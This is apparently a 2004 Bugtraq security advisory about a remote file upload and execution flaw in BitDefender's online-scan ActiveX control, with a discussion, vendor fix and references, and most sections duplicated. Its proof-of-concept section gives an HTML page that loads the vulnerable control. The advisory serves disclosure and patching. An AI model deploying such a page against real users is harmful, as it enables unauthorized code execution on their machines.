Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability
BID:10174
Info
Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability
| Bugtraq ID: | 10174 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 19 2004 12:00AM |
| Updated: | Apr 19 2004 12:00AM |
| Credit: | Disclosure of this issue is credited to "Rafel Ivgi, The-Insider" <[email protected]>. |
| Vulnerable: |
Softwin BitDefender |
| Not Vulnerable: | |
Discussion
Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability
Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by a file upload and execution vulnerability. This issue is due to a design error that allows a remote user to specify a file to be uploaded and executed on a system running the affected software.
This issue may be leveraged by a remote attacker to upload and execute arbitrary files on an affected system; most likely resulting in unauthorized access. Other attackers are also possible.
Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by a file upload and execution vulnerability. This issue is due to a design error that allows a remote user to specify a file to be uploaded and executed on a system running the affected software.
This issue may be leveraged by a remote attacker to upload and execute arbitrary files on an affected system; most likely resulting in unauthorized access. Other attackers are also possible.
Exploit / POC
Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability
The following HTML document, which is sufficient to leverage this issue, has been provided:
<HTML>
<OBJECT id=seemycomputer codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1 hspace=0 vspace=0 align="top" classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT>
</HTML>
The following HTML document, which is sufficient to leverage this issue, has been provided:
<HTML>
<OBJECT id=seemycomputer codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1 hspace=0 vspace=0 align="top" classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT>
</HTML>
Solution / Fix
Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability
Solution:
Reportedly the vendor has updated the affected COM objects and ActiveX control. It has been advised that users with the affected software installed visit the BitDefender website and allow the update. Please see the referenced website for more information.
Solution:
Reportedly the vendor has updated the affected COM objects and ActiveX control. It has been advised that users with the affected software installed visit the BitDefender website and allow the update. Please see the referenced website for more information.
References
Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability
References:
References:
- BitDefender AntiVirus Scan Page (Softwin)
- BitDefender Scan Online(ActiveX) - Remote File Download & Execute & Private Info ("Rafel Ivgi, The-Insider"